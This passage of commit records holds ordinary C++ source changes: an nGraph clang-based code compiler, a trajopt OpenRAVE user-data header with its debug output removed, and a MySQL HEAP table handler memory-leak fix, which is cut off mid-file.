code.getError()) { // throw up throw runtime_error("could not find file '" + file + "'"); } s_header_cache.add_file(mapped_name, code.get()); } } }; file_util::iterate_files(path, func, true); #else hso.AddPath(path, clang::frontend::System, false, false); #endif } } void StaticCompiler::use_cached_files() { HeaderSearchOptions& hso = m_compiler->getInvocation().getHeaderSearchOpts(); for (const string& path : s_header_cache.get_include_paths()) { hso.AddPath(path, clang::frontend::System, false, false); } for (auto& header : s_header_cache.get_header_map()) { m_compiler->getPreprocessorOpts().addRemappedFile(header.first, header.second.get()); } } std::unique_ptr<llvm::Module> StaticCompiler::compile(std::unique_ptr<clang::CodeGenAction>& compiler_action, const string& source) { if (!m_precompiled_header_valid && m_precomiled_header_source.empty() == false) { generate_pch(m_precomiled_header_source); } if (m_precompiled_header_valid) { // Preprocessor options auto& PPO = m_compiler->getInvocation().getPreprocessorOpts(); PPO.ImplicitPCHInclude = m_pch_path; PPO.DisablePCHValidation = 0; } // Map code filename to a memoryBuffer StringRef source_ref(source); unique_ptr<MemoryBuffer> buffer = MemoryBuffer::getMemBufferCopy(source_ref); m_compiler->getInvocation().getPreprocessorOpts().addRemappedFile(m_source_name, buffer.get()); // Create and execute action compiler_action.reset(new EmitCodeGenOnlyAction()); std::unique_ptr<llvm::Module> rc; if (m_compiler->ExecuteAction(*compiler_action) == true) { rc = compiler_action->takeModule(); } buffer.release(); m_compiler->getInvocation().getPreprocessorOpts().clearRemappedFiles(); return rc; } void StaticCompiler::generate_pch(const string& source) { m_pch_path = file_util::tmp_filename(); m_compiler->getFrontendOpts().OutputFile = m_pch_path; // Map code filename to a memoryBuffer StringRef source_ref(source); unique_ptr<MemoryBuffer> buffer = MemoryBuffer::getMemBufferCopy(source_ref); m_compiler->getInvocation().getPreprocessorOpts().addRemappedFile(m_source_name, buffer.get()); // Create and execute action clang::GeneratePCHAction* compilerAction = new clang::GeneratePCHAction(); if (m_compiler->ExecuteAction(*compilerAction) == true) { m_precompiled_header_valid = true; } buffer.release(); m_compiler->getInvocation().getPreprocessorOpts().clearRemappedFiles(); delete compilerAction; } <commit_msg>Kill duplicate imports (#308)<commit_after>// ---------------------------------------------------------------------------- // Copyright 2017 Nervana Systems Inc. // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // ---------------------------------------------------------------------------- #include <iostream> #include <clang/Basic/DiagnosticOptions.h> #include <clang/Basic/TargetInfo.h> #include <clang/CodeGen/CodeGenAction.h> #include <clang/CodeGen/ObjectFilePCHContainerOperations.h> #include <clang/Driver/DriverDiagnostic.h> #include <clang/Driver/Options.h> #include <clang/Frontend/CompilerInstance.h> #include <clang/Frontend/CompilerInvocation.h> #include <clang/Frontend/FrontendActions.h> #include <clang/Frontend/FrontendDiagnostic.h> #include <clang/Frontend/TextDiagnosticBuffer.h> #include <clang/Frontend/TextDiagnosticPrinter.h> #include <clang/Frontend/Utils.h> #include <clang/FrontendTool/Utils.h> #include <clang/Lex/Preprocessor.h> #include <clang/Lex/PreprocessorOptions.h> #include <llvm/ADT/Statistic.h> #include <llvm/LinkAllPasses.h> #include <llvm/Option/Arg.h> #include <llvm/Option/ArgList.h> #include <llvm/Option/OptTable.h> #include <llvm/Support/ErrorHandling.h> #include <llvm/Support/ManagedStatic.h> #include <llvm/Support/Signals.h> #include <llvm/Support/TargetSelect.h> #include <llvm/Support/Timer.h> #include <llvm/Support/raw_ostream.h> #include "ngraph/codegen/compiler.hpp" #include "ngraph/file_util.hpp" #include "ngraph/log.hpp" #include "ngraph/util.hpp" // TODO: Fix leaks // #define USE_CACHE using namespace clang; using namespace llvm; using namespace llvm::opt; using namespace std; using namespace ngraph::codegen; static HeaderCache s_header_cache; static StaticCompiler s_static_compiler; static std::mutex m_mutex; Compiler::Compiler() { } Compiler::~Compiler() { } void Compiler::set_precompiled_header_source(const std::string& source) { s_static_compiler.set_precompiled_header_source(source); } void Compiler::add_header_search_path(const std::string& path) { s_static_compiler.add_header_search_path(path); } std::unique_ptr<llvm::Module> Compiler::compile(const std::string& source) { lock_guard<mutex> lock(m_mutex); return s_static_compiler.compile(compiler_action, source); } static std::string GetExecutablePath(const char* Argv0) { // This just needs to be some symbol in the binary; C++ doesn't // allow taking the address of ::main however. void* MainAddr = reinterpret_cast<void*>(GetExecutablePath); return llvm::sys::fs::getMainExecutable(Argv0, MainAddr); } StaticCompiler::StaticCompiler() : m_precompiled_header_valid(false) , m_debuginfo_enabled(false) , m_source_name("code.cpp") { #if NGCPU_DEBUGINFO m_debuginfo_enabled = true; #endif InitializeNativeTarget(); LLVMInitializeNativeAsmPrinter(); LLVMInitializeNativeAsmParser(); // Prepare compilation arguments vector<const char*> args; args.push_back(m_source_name.c_str()); // Prepare DiagnosticEngine IntrusiveRefCntPtr<DiagnosticOptions> DiagOpts = new DiagnosticOptions(); TextDiagnosticPrinter* textDiagPrinter = new clang::TextDiagnosticPrinter(errs(), &*DiagOpts); IntrusiveRefCntPtr<DiagnosticIDs> DiagID(new DiagnosticIDs()); DiagnosticsEngine DiagEngine(DiagID, &*DiagOpts, textDiagPrinter); // Create and initialize CompilerInstance m_compiler = std::unique_ptr<CompilerInstance>(new CompilerInstance()); m_compiler->createDiagnostics(); // Initialize CompilerInvocation CompilerInvocation::CreateFromArgs( m_compiler->getInvocation(), &args[0], &args[0] + args.size(), DiagEngine); // Infer the builtin include path if unspecified. if (m_compiler->getHeaderSearchOpts().UseBuiltinIncludes && m_compiler->getHeaderSearchOpts().ResourceDir.empty()) { void* MainAddr = reinterpret_cast<void*>(GetExecutablePath); auto path = CompilerInvocation::GetResourcesPath(args[0], MainAddr); m_compiler->getHeaderSearchOpts().ResourceDir = path; } if (s_header_cache.is_valid() == false) { // Add base toolchain-supplied header paths // Ideally one would use the Linux toolchain definition in clang/lib/Driver/ToolChains.h // But that's a private header and isn't part of the public libclang API // Instead of re-implementing all of that functionality in a custom toolchain // just hardcode the paths relevant to frequently used build/test machines for now add_header_search_path(CLANG_BUILTIN_HEADERS_PATH); add_header_search_path("/usr/include/x86_64-linux-gnu"); add_header_search_path("/usr/include"); // Search for headers in // /usr/include/x86_64-linux-gnu/c++/N.N // /usr/include/c++/N.N // and add them to the header search path file_util::iterate_files("/usr/include/x86_64-linux-gnu/c++/", [&](const std::string& file, bool is_dir) { if (is_dir) { string dir_name = file_util::get_file_name(file); if (is_version_number(dir_name)) { add_header_search_path(file); } } }); file_util::iterate_files("/usr/include/c++/", [&](const std::string& file, bool is_dir) { if (is_dir) { string dir_name = file_util::get_file_name(file); if (is_version_number(dir_name)) { add_header_search_path(file); } } }); add_header_search_path(EIGEN_HEADERS_PATH); add_header_search_path(NGRAPH_HEADERS_PATH); #ifdef USE_CACHE s_header_cache.set_valid(); #endif } #ifdef USE_CACHE use_cached_files(m_compiler); #endif // Language options // These are the C++ features needed to compile ngraph headers // and any dependencies like Eigen auto LO = m_compiler->getInvocation().getLangOpts(); LO->CPlusPlus = 1; LO->CPlusPlus11 = 1; LO->Bool = 1; LO->Exceptions = 1; LO->CXXExceptions = 1; LO->WChar = 1; LO->RTTI = 1; // Enable OpenMP for Eigen LO->OpenMP = 1; LO->OpenMPUseTLS = 1; // CodeGen options auto& CGO = m_compiler->getInvocation().getCodeGenOpts(); CGO.OptimizationLevel = 3; CGO.RelocationModel = "static"; CGO.ThreadModel = "posix"; CGO.FloatABI = "hard"; CGO.OmitLeafFramePointer = 1; CGO.VectorizeLoop = 1; CGO.VectorizeSLP = 1; CGO.CXAAtExit = 1; if (m_debuginfo_enabled) { CGO.setDebugInfo(codegenoptions::FullDebugInfo); } // Enable various target features // Most of these are for Eigen auto& TO = m_compiler->getInvocation().getTargetOpts(); // TODO: This needs to be configurable and selected carefully TO.CPU = "broadwell"; TO.FeaturesAsWritten.emplace_back("+sse"); TO.FeaturesAsWritten.emplace_back("+sse2"); TO.FeaturesAsWritten.emplace_back("+sse3"); TO.FeaturesAsWritten.emplace_back("+ssse3"); TO.FeaturesAsWritten.emplace_back("+sse4.1"); TO.FeaturesAsWritten.emplace_back("+sse4.2"); TO.FeaturesAsWritten.emplace_back("+avx"); TO.FeaturesAsWritten.emplace_back("+avx2"); TO.FeaturesAsWritten.emplace_back("+fma"); } StaticCompiler::~StaticCompiler() { } bool StaticCompiler::is_version_number(const string& path) { bool rc = true; vector<string> tokens = ngraph::split(path, '.'); for (string s : tokens) { for (char c : s) { if (!isdigit(c)) { rc = false; } } } return rc; } void StaticCompiler::add_header_search_path(const string& path) { if (!contains(m_extra_search_path_list, path)) { m_extra_search_path_list.push_back(path); HeaderSearchOptions& hso = m_compiler->getInvocation().getHeaderSearchOpts(); #ifdef USE_CACHE static vector<string> valid_ext = {".h", ".hpp", ".tcc", ""}; string mapped_path = file_util::path_join("/$BUILTIN", path); mapped_path = path; s_header_cache.add_path(mapped_path); auto func = [&](const std::string& file, bool is_dir) { if (!is_dir) { string ext = file_util::get_file_ext(file); if (contains(valid_ext, ext)) { // This is a header file string relative_name = file.substr(path.size() + 1); string mapped_name = file_util::path_join(mapped_path, relative_name); ErrorOr<unique_ptr<MemoryBuffer>> code = MemoryBuffer::getFile(file); if (error_code ec = code.getError()) { // throw up throw runtime_error("could not find file '" + file + "'"); } s_header_cache.add_file(mapped_name, code.get()); } } }; file_util::iterate_files(path, func, true); #else hso.AddPath(path, clang::frontend::System, false, false); #endif } } void StaticCompiler::use_cached_files() { HeaderSearchOptions& hso = m_compiler->getInvocation().getHeaderSearchOpts(); for (const string& path : s_header_cache.get_include_paths()) { hso.AddPath(path, clang::frontend::System, false, false); } for (auto& header : s_header_cache.get_header_map()) { m_compiler->getPreprocessorOpts().addRemappedFile(header.first, header.second.get()); } } std::unique_ptr<llvm::Module> StaticCompiler::compile(std::unique_ptr<clang::CodeGenAction>& compiler_action, const string& source) { if (!m_precompiled_header_valid && m_precomiled_header_source.empty() == false) { generate_pch(m_precomiled_header_source); } if (m_precompiled_header_valid) { // Preprocessor options auto& PPO = m_compiler->getInvocation().getPreprocessorOpts(); PPO.ImplicitPCHInclude = m_pch_path; PPO.DisablePCHValidation = 0; } // Map code filename to a memoryBuffer StringRef source_ref(source); unique_ptr<MemoryBuffer> buffer = MemoryBuffer::getMemBufferCopy(source_ref); m_compiler->getInvocation().getPreprocessorOpts().addRemappedFile(m_source_name, buffer.get()); // Create and execute action compiler_action.reset(new EmitCodeGenOnlyAction()); std::unique_ptr<llvm::Module> rc; if (m_compiler->ExecuteAction(*compiler_action) == true) { rc = compiler_action->takeModule(); } buffer.release(); m_compiler->getInvocation().getPreprocessorOpts().clearRemappedFiles(); return rc; } void StaticCompiler::generate_pch(const string& source) { m_pch_path = file_util::tmp_filename(); m_compiler->getFrontendOpts().OutputFile = m_pch_path; // Map code filename to a memoryBuffer StringRef source_ref(source); unique_ptr<MemoryBuffer> buffer = MemoryBuffer::getMemBufferCopy(source_ref); m_compiler->getInvocation().getPreprocessorOpts().addRemappedFile(m_source_name, buffer.get()); // Create and execute action clang::GeneratePCHAction* compilerAction = new clang::GeneratePCHAction(); if (m_compiler->ExecuteAction(*compilerAction) == true) { m_precompiled_header_valid = true; } buffer.release(); m_compiler->getInvocation().getPreprocessorOpts().clearRemappedFiles(); delete compilerAction; } <|endoftext|>
<commit_before>#pragma once #include "macros.h" #include <openrave/openrave.h> #include <map> #include <boost/make_shared.hpp> #include "utils/logging.hpp" #include <iostream> #pragma GCC diagnostic ignored "-Wdeprecated-declarations" namespace trajopt { #if OPENRAVE_VERSION_MINOR > 8 #define TRAJOPT_DATA ("__trajopt_data__") inline OpenRAVE::UserDataPtr GetUserData(const OpenRAVE::InterfaceBase& body, const std::string& key) { OpenRAVE::UserDataPtr val = body.GetUserData(key); std::cout << ">>>> GET " << key << ": " << val << std::endl; return val; } inline void SetUserData(OpenRAVE::InterfaceBase& body, const std::string& key, OpenRAVE::UserDataPtr val) { std::cout << ">>>> SET " << key << ": " << val << std::endl; body.SetUserData(key, val); } inline void RemoveUserData(OpenRAVE::InterfaceBase& body, const std::string& key) { std::cout << ">>>> REM " << key << std::endl; body.RemoveUserData(key); } inline OpenRAVE::KinBodyPtr GetEnvDataObject(OpenRAVE::EnvironmentBase& env) { OpenRAVE::KinBodyPtr trajopt_data = env.GetKinBody("__trajopt_data__"); if (!trajopt_data) { OpenRAVE::Vector v; std::vector< OpenRAVE::Vector > svec; svec.push_back(v); trajopt_data = OpenRAVE::RaveCreateKinBody(env.shared_from_this(), ""); trajopt_data->SetName("__trajopt_data__"); trajopt_data->InitFromSpheres(svec, false); env.Add(trajopt_data); } return trajopt_data; } inline OpenRAVE::UserDataPtr GetUserData(OpenRAVE::EnvironmentBase& env, const std::string& key) { return GetEnvDataObject(env)->GetUserData(key); } inline void SetUserData(OpenRAVE::EnvironmentBase& env, const std::string& key, OpenRAVE::UserDataPtr val) { GetEnvDataObject(env)->SetUserData(key, val); } inline void RemoveUserData(OpenRAVE::EnvironmentBase& env, const std::string& key) { GetEnvDataObject(env)->RemoveUserData(key); } #else // OPENRAVE_VERSION_MINOR > 8 class UserMap : public std::map<std::string, OpenRAVE::UserDataPtr>, public OpenRAVE::UserData {}; template <typename T> OpenRAVE::UserDataPtr GetUserData(const T& env, const std::string& key) { OpenRAVE::UserDataPtr ud = env.GetUserData(); if (!ud) return OpenRAVE::UserDataPtr(); else if (UserMap* um = dynamic_cast<UserMap*>(ud.get())) { UserMap::iterator it = (*um).find(key); if (it != (*um).end()) return it->second; else return OpenRAVE::UserDataPtr(); } else { throw OpenRAVE::openrave_exception("Userdata has the wrong class!"); return OpenRAVE::UserDataPtr(); } } template <typename T> void SetUserData(T& env, const std::string& key, OpenRAVE::UserDataPtr val) { OpenRAVE::UserDataPtr ud = env.GetUserData(); if (!ud) { ud = OpenRAVE::UserDataPtr(new UserMap()); env.SetUserData(ud); } if (UserMap* um = dynamic_cast<UserMap*>(ud.get())) { (*um)[key] = val; } else { throw OpenRAVE::openrave_exception("userdata has unexpected class"); } } template <typename T> void RemoveUserData(T& body, const std::string& key) { OpenRAVE::UserDataPtr ud = body.GetUserData(); if (UserMap* um = dynamic_cast<UserMap*>(ud.get())) { if (um->find(key) == um->end()) LOG_WARN("tried to erase key %s but it's not in the userdata map!", key.c_str()); (*um).erase(key); } else { LOG_ERROR("body %s has no userdata map", body.GetName().c_str()); } } #endif // OPENRAVE_VERSION_MINOR > 8 } <commit_msg>Removed key-value store debugging information.<commit_after>#pragma once #include "macros.h" #include <openrave/openrave.h> #include <map> #include <boost/make_shared.hpp> #include "utils/logging.hpp" #include <iostream> #pragma GCC diagnostic ignored "-Wdeprecated-declarations" namespace trajopt { #if OPENRAVE_VERSION_MINOR > 8 #define TRAJOPT_DATA ("__trajopt_data__") inline OpenRAVE::UserDataPtr GetUserData(const OpenRAVE::InterfaceBase& body, const std::string& key) { return body.GetUserData(key); } inline void SetUserData(OpenRAVE::InterfaceBase& body, const std::string& key, OpenRAVE::UserDataPtr val) { body.SetUserData(key, val); } inline void RemoveUserData(OpenRAVE::InterfaceBase& body, const std::string& key) { body.RemoveUserData(key); } inline OpenRAVE::KinBodyPtr GetEnvDataObject(OpenRAVE::EnvironmentBase& env) { OpenRAVE::KinBodyPtr trajopt_data = env.GetKinBody("__trajopt_data__"); if (!trajopt_data) { std::vector< OpenRAVE::Vector > svec; trajopt_data = OpenRAVE::RaveCreateKinBody(env.shared_from_this(), ""); trajopt_data->SetName("__trajopt_data__"); trajopt_data->InitFromSpheres(svec, false); env.Add(trajopt_data); } return trajopt_data; } inline OpenRAVE::UserDataPtr GetUserData(OpenRAVE::EnvironmentBase& env, const std::string& key) { return GetEnvDataObject(env)->GetUserData(key); } inline void SetUserData(OpenRAVE::EnvironmentBase& env, const std::string& key, OpenRAVE::UserDataPtr val) { GetEnvDataObject(env)->SetUserData(key, val); } inline void RemoveUserData(OpenRAVE::EnvironmentBase& env, const std::string& key) { GetEnvDataObject(env)->RemoveUserData(key); } #else // OPENRAVE_VERSION_MINOR > 8 class UserMap : public std::map<std::string, OpenRAVE::UserDataPtr>, public OpenRAVE::UserData {}; template <typename T> OpenRAVE::UserDataPtr GetUserData(const T& env, const std::string& key) { OpenRAVE::UserDataPtr ud = env.GetUserData(); if (!ud) return OpenRAVE::UserDataPtr(); else if (UserMap* um = dynamic_cast<UserMap*>(ud.get())) { UserMap::iterator it = (*um).find(key); if (it != (*um).end()) return it->second; else return OpenRAVE::UserDataPtr(); } else { throw OpenRAVE::openrave_exception("Userdata has the wrong class!"); return OpenRAVE::UserDataPtr(); } } template <typename T> void SetUserData(T& env, const std::string& key, OpenRAVE::UserDataPtr val) { OpenRAVE::UserDataPtr ud = env.GetUserData(); if (!ud) { ud = OpenRAVE::UserDataPtr(new UserMap()); env.SetUserData(ud); } if (UserMap* um = dynamic_cast<UserMap*>(ud.get())) { (*um)[key] = val; } else { throw OpenRAVE::openrave_exception("userdata has unexpected class"); } } template <typename T> void RemoveUserData(T& body, const std::string& key) { OpenRAVE::UserDataPtr ud = body.GetUserData(); if (UserMap* um = dynamic_cast<UserMap*>(ud.get())) { if (um->find(key) == um->end()) LOG_WARN("tried to erase key %s but it's not in the userdata map!", key.c_str()); (*um).erase(key); } else { LOG_ERROR("body %s has no userdata map", body.GetName().c_str()); } } #endif // OPENRAVE_VERSION_MINOR > 8 } <|endoftext|>
<commit_before>/* Copyright (C) 2000 MySQL AB & MySQL Finland AB & TCX DataKonsult AB This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #ifdef __GNUC__ #pragma implementation // gcc: Class implementation #endif #include "mysql_priv.h" #include <myisampack.h> #include "ha_heap.h" /***************************************************************************** ** HEAP tables *****************************************************************************/ const char **ha_heap::bas_ext() const { static const char *ext[1]= { NullS }; return ext; } int ha_heap::open(const char *name, int mode, uint test_if_locked) { uint key,parts,mem_per_row=0; ulong max_rows; HP_KEYDEF *keydef; HP_KEYSEG *seg; THD *thd= current_thd; for (key=parts=0 ; key < table->keys ; key++) parts+=table->key_info[key].key_parts; if (!(keydef=(HP_KEYDEF*) my_malloc(table->keys*sizeof(HP_KEYDEF)+ parts*sizeof(HP_KEYSEG),MYF(MY_WME)))) return my_errno; seg=my_reinterpret_cast(HP_KEYSEG*) (keydef+table->keys); for (key=0 ; key < table->keys ; key++) { KEY *pos=table->key_info+key; KEY_PART_INFO *key_part= pos->key_part; KEY_PART_INFO *key_part_end= key_part+pos->key_parts; mem_per_row += (pos->key_length + (sizeof(char*) * 2)); keydef[key].keysegs=(uint) pos->key_parts; keydef[key].flag = (pos->flags & (HA_NOSAME | HA_NULL_ARE_EQUAL)); keydef[key].seg=seg; for (; key_part != key_part_end ; key_part++, seg++) { uint flag=key_part->key_type; Field *field=key_part->field; if (!f_is_packed(flag) && f_packtype(flag) == (int) FIELD_TYPE_DECIMAL && !(flag & FIELDFLAG_BINARY)) seg->type= (int) HA_KEYTYPE_TEXT; else seg->type= (int) HA_KEYTYPE_BINARY; seg->start=(uint) key_part->offset; seg->length=(uint) key_part->length; if (field->null_ptr) { seg->null_bit=field->null_bit; seg->null_pos= (uint) (field->null_ptr- (uchar*) table->record[0]); } else { seg->null_bit=0; seg->null_pos=0; } } } mem_per_row += MY_ALIGN(table->reclength+1, sizeof(char*)); max_rows = (ulong) (thd->variables.max_heap_table_size / mem_per_row); file=heap_open(name,mode, table->keys,keydef, table->reclength, (ulong) ((table->max_rows < max_rows && table->max_rows) ? table->max_rows : max_rows), (ulong) table->min_rows); my_free((gptr) keydef,MYF(0)); if (file) info(HA_STATUS_NO_LOCK | HA_STATUS_CONST | HA_STATUS_VARIABLE); ref_length=sizeof(HEAP_PTR); return (!file ? errno : 0); } int ha_heap::close(void) { return heap_close(file); } int ha_heap::write_row(byte * buf) { statistic_increment(ha_write_count,&LOCK_status); if (table->time_stamp) update_timestamp(buf+table->time_stamp-1); return heap_write(file,buf); } int ha_heap::update_row(const byte * old_data, byte * new_data) { statistic_increment(ha_update_count,&LOCK_status); if (table->time_stamp) update_timestamp(new_data+table->time_stamp-1); return heap_update(file,old_data,new_data); } int ha_heap::delete_row(const byte * buf) { statistic_increment(ha_delete_count,&LOCK_status); return heap_delete(file,buf); } int ha_heap::index_read(byte * buf, const byte * key, uint key_len __attribute__((unused)), enum ha_rkey_function find_flag __attribute__((unused))) { statistic_increment(ha_read_key_count,&LOCK_status); int error=heap_rkey(file,buf,active_index, key); table->status=error ? STATUS_NOT_FOUND: 0; return error; } int ha_heap::index_read_idx(byte * buf, uint index, const byte * key, uint key_len __attribute__((unused)), enum ha_rkey_function find_flag __attribute__((unused))) { statistic_increment(ha_read_key_count,&LOCK_status); int error=heap_rkey(file, buf, index, key); table->status=error ? STATUS_NOT_FOUND: 0; return error; } int ha_heap::index_next(byte * buf) { statistic_increment(ha_read_next_count,&LOCK_status); int error=heap_rnext(file,buf); table->status=error ? STATUS_NOT_FOUND: 0; return error; } int ha_heap::index_prev(byte * buf) { statistic_increment(ha_read_prev_count,&LOCK_status); int error=heap_rprev(file,buf); table->status=error ? STATUS_NOT_FOUND: 0; return error; } int ha_heap::index_first(byte * buf) { statistic_increment(ha_read_first_count,&LOCK_status); int error=heap_rfirst(file, buf); table->status=error ? STATUS_NOT_FOUND: 0; return error; } int ha_heap::index_last(byte * buf) { statistic_increment(ha_read_last_count,&LOCK_status); int error=heap_rlast(file, buf); table->status=error ? STATUS_NOT_FOUND: 0; return error; } int ha_heap::rnd_init(bool scan) { return scan ? heap_scan_init(file) : 0; } int ha_heap::rnd_next(byte *buf) { statistic_increment(ha_read_rnd_next_count,&LOCK_status); int error=heap_scan(file, buf); table->status=error ? STATUS_NOT_FOUND: 0; return error; } int ha_heap::rnd_pos(byte * buf, byte *pos) { int error; HEAP_PTR position; statistic_increment(ha_read_rnd_count,&LOCK_status); memcpy_fixed((char*) &position,pos,sizeof(HEAP_PTR)); error=heap_rrnd(file, buf, position); table->status=error ? STATUS_NOT_FOUND: 0; return error; } void ha_heap::position(const byte *record) { *(HEAP_PTR*) ref= heap_position(file); // Ref is aligned } void ha_heap::info(uint flag) { HEAPINFO info; (void) heap_info(file,&info,flag); records = info.records; deleted = info.deleted; errkey = info.errkey; mean_rec_length=info.reclength; data_file_length=info.data_length; index_file_length=info.index_length; max_data_file_length= info.max_records* info.reclength; delete_length= info.deleted * info.reclength; implicit_emptied= info.implicit_emptied; } int ha_heap::extra(enum ha_extra_function operation) { return heap_extra(file,operation); } int ha_heap::reset(void) { return heap_extra(file,HA_EXTRA_RESET); } int ha_heap::delete_all_rows() { heap_clear(file); return 0; } int ha_heap::external_lock(THD *thd, int lock_type) { return 0; // No external locking } THR_LOCK_DATA **ha_heap::store_lock(THD *thd, THR_LOCK_DATA **to, enum thr_lock_type lock_type) { if (lock_type != TL_IGNORE && file->lock.type == TL_UNLOCK) file->lock.type=lock_type; *to++= &file->lock; return to; } /* We have to ignore ENOENT entries as the HEAP table is created on open and not when doing a CREATE on the table. */ int ha_heap::delete_table(const char *name) { int error=heap_delete_table(name); return error == ENOENT ? 0 : error; } int ha_heap::rename_table(const char * from, const char * to) { return heap_rename(from,to); } ha_rows ha_heap::records_in_range(int inx, const byte *start_key,uint start_key_len, enum ha_rkey_function start_search_flag, const byte *end_key,uint end_key_len, enum ha_rkey_function end_search_flag) { KEY *pos=table->key_info+inx; if (start_key_len != end_key_len || start_key_len != pos->key_length || start_search_flag != HA_READ_KEY_EXACT || end_search_flag != HA_READ_AFTER_KEY) return HA_POS_ERROR; // Can't only use exact keys return 10; // Good guess } int ha_heap::create(const char *name, TABLE *form, HA_CREATE_INFO *create_info) { char buff[FN_REFLEN]; return heap_create(fn_format(buff,name,"","",4+2)); } <commit_msg>fixed Bug #4973 Memory is not released when HEAP table is dropped<commit_after>/* Copyright (C) 2000 MySQL AB & MySQL Finland AB & TCX DataKonsult AB This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #ifdef __GNUC__ #pragma implementation // gcc: Class implementation #endif #include "mysql_priv.h" #include <myisampack.h> #include "ha_heap.h" /***************************************************************************** ** HEAP tables *****************************************************************************/ const char **ha_heap::bas_ext() const { static const char *ext[1]= { NullS }; return ext; } int ha_heap::open(const char *name, int mode, uint test_if_locked) { uint key,parts,mem_per_row=0; ulong max_rows; HP_KEYDEF *keydef; HP_KEYSEG *seg; THD *thd= current_thd; for (key=parts=0 ; key < table->keys ; key++) parts+=table->key_info[key].key_parts; if (!(keydef=(HP_KEYDEF*) my_malloc(table->keys*sizeof(HP_KEYDEF)+ parts*sizeof(HP_KEYSEG),MYF(MY_WME)))) return my_errno; seg=my_reinterpret_cast(HP_KEYSEG*) (keydef+table->keys); for (key=0 ; key < table->keys ; key++) { KEY *pos=table->key_info+key; KEY_PART_INFO *key_part= pos->key_part; KEY_PART_INFO *key_part_end= key_part+pos->key_parts; mem_per_row += (pos->key_length + (sizeof(char*) * 2)); keydef[key].keysegs=(uint) pos->key_parts; keydef[key].flag = (pos->flags & (HA_NOSAME | HA_NULL_ARE_EQUAL)); keydef[key].seg=seg; for (; key_part != key_part_end ; key_part++, seg++) { uint flag=key_part->key_type; Field *field=key_part->field; if (!f_is_packed(flag) && f_packtype(flag) == (int) FIELD_TYPE_DECIMAL && !(flag & FIELDFLAG_BINARY)) seg->type= (int) HA_KEYTYPE_TEXT; else seg->type= (int) HA_KEYTYPE_BINARY; seg->start=(uint) key_part->offset; seg->length=(uint) key_part->length; if (field->null_ptr) { seg->null_bit=field->null_bit; seg->null_pos= (uint) (field->null_ptr- (uchar*) table->record[0]); } else { seg->null_bit=0; seg->null_pos=0; } } } mem_per_row += MY_ALIGN(table->reclength+1, sizeof(char*)); max_rows = (ulong) (thd->variables.max_heap_table_size / mem_per_row); file=heap_open(name,mode, table->keys,keydef, table->reclength, (ulong) ((table->max_rows < max_rows && table->max_rows) ? table->max_rows : max_rows), (ulong) table->min_rows); my_free((gptr) keydef,MYF(0)); if (file) info(HA_STATUS_NO_LOCK | HA_STATUS_CONST | HA_STATUS_VARIABLE); ref_length=sizeof(HEAP_PTR); return (!file ? errno : 0); } int ha_heap::close(void) { return heap_close(file); } int ha_heap::write_row(byte * buf) { statistic_increment(ha_write_count,&LOCK_status); if (table->time_stamp) update_timestamp(buf+table->time_stamp-1); return heap_write(file,buf); } int ha_heap::update_row(const byte * old_data, byte * new_data) { statistic_increment(ha_update_count,&LOCK_status); if (table->time_stamp) update_timestamp(new_data+table->time_stamp-1); return heap_update(file,old_data,new_data); } int ha_heap::delete_row(const byte * buf) { statistic_increment(ha_delete_count,&LOCK_status); return heap_delete(file,buf); } int ha_heap::index_read(byte * buf, const byte * key, uint key_len __attribute__((unused)), enum ha_rkey_function find_flag __attribute__((unused))) { statistic_increment(ha_read_key_count,&LOCK_status); int error=heap_rkey(file,buf,active_index, key); table->status=error ? STATUS_NOT_FOUND: 0; return error; } int ha_heap::index_read_idx(byte * buf, uint index, const byte * key, uint key_len __attribute__((unused)), enum ha_rkey_function find_flag __attribute__((unused))) { statistic_increment(ha_read_key_count,&LOCK_status); int error=heap_rkey(file, buf, index, key); table->status=error ? STATUS_NOT_FOUND: 0; return error; } int ha_heap::index_next(byte * buf) { statistic_increment(ha_read_next_count,&LOCK_status); int error=heap_rnext(file,buf); table->status=error ? STATUS_NOT_FOUND: 0; return error; } int ha_heap::index_prev(byte * buf) { statistic_increment(ha_read_prev_count,&LOCK_status); int error=heap_rprev(file,buf); table->status=error ? STATUS_NOT_FOUND: 0; return error; } int ha_heap::index_first(byte * buf) { statistic_increment(ha_read_first_count,&LOCK_status); int error=heap_rfirst(file, buf); table->status=error ? STATUS_NOT_FOUND: 0; return error; } int ha_heap::index_last(byte * buf) { statistic_increment(ha_read_last_count,&LOCK_status); int error=heap_rlast(file, buf); table->status=error ? STATUS_NOT_FOUND: 0; return error; } int ha_heap::rnd_init(bool scan) { return scan ? heap_scan_init(file) : 0; } int ha_heap::rnd_next(byte *buf) { statistic_increment(ha_read_rnd_next_count,&LOCK_status); int error=heap_scan(file, buf); table->status=error ? STATUS_NOT_FOUND: 0; return error; } int ha_heap::rnd_pos(byte * buf, byte *pos) { int error; HEAP_PTR position; statistic_increment(ha_read_rnd_count,&LOCK_status); memcpy_fixed((char*) &position,pos,sizeof(HEAP_PTR)); error=heap_rrnd(file, buf, position); table->status=error ? STATUS_NOT_FOUND: 0; return error; } void ha_heap::position(const byte *record) { *(HEAP_PTR*) ref= heap_position(file); // Ref is aligned } void ha_heap::info(uint flag) { HEAPINFO info; (void) heap_info(file,&info,flag); records = info.records; deleted = info.deleted; errkey = info.errkey; mean_rec_length=info.reclength; data_file_length=info.data_length; index_file_length=info.index_length; max_data_file_length= info.max_records* info.reclength; delete_length= info.deleted * info.reclength; implicit_emptied= 